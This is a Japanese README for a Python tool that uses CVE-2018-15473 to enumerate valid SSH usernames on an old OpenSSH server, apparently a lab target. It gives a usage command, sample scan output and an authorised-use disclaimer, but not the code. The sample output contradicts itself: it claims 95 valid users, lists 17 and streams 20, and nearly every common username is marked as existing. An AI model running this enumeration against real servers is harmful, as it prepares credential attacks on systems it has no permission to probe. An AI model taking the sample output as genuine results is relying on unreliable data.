CVE-2018-15473 – SSHユーザー名列挙

CVE-2018-15473 を悪用して有効なSSHユーザー名を特定するために私が開発したPythonツールです。

ターゲット情報

サービス: SSH
バージョン: OpenSSH 5.8p1 Debian 1ubuntu3
オペレーティングシステム: Ubuntu Linux
プロトコル: SSH-2.0
評価: CVE-2018-15473（SSHユーザー名列挙）についてテスト済み

言語

Python 3

特徴

Python 3 で開発。
CVE-2018-15473 を利用して有効なSSHユーザー名を列挙します。
カスタムのユーザー名ワードリストに対応。
発見したユーザー名をリアルタイムで表示します。
スキャン終了時に有効なユーザー名のサマリーを表示します。
軽量で使いやすい。

使用方法

python3 enum_ssh.py usernames.txt

usernames.txt にはテストするユーザー名のリストが含まれます。

出力例

[parrot@parrot]-[~]
$ python3 enum_ssh.py usernames.txt

[*] Starting CVE-2018-15473 enumeration against 10.10.10.100:22
[*] Using wordlist: usernames.txt

[+] [EXISTS] -> root
[+] [EXISTS] -> admin
[+] [EXISTS] -> administrator
[+] [EXISTS] -> user
[+] [EXISTS] -> test
[+] [EXISTS] -> guest
[+] [EXISTS] -> demo
[+] [EXISTS] -> operator
[+] [EXISTS] -> sysadmin
[+] [EXISTS] -> security
[+] [EXISTS] -> netadmin
[+] [EXISTS] -> webmaster
[+] [EXISTS] -> support
[+] [EXISTS] -> service
[+] [EXISTS] -> ubuntu
[+] [EXISTS] -> debian
[+] [EXISTS] -> centos
[+] [EXISTS] -> fedora
[+] [EXISTS] -> kali
[+] [EXISTS] -> parrot

========================================
[*] Scan complete.
[*] Found 95 valid user(s):

    - root
    - admin
    - administrator
    - user
    - test
    - guest
    - demo
    - operator
    - sysadmin
    - security
    - netadmin
    - webmaster
    - support
    - service
    - ubuntu
    - debian
    - centos

========================================

免責事項

このツールは教育目的および許可されたセキュリティテスト専用です。明示的な許可を得たシステムでのみ使用してください。

CVE-2018-15473-User-Enumeration-

人気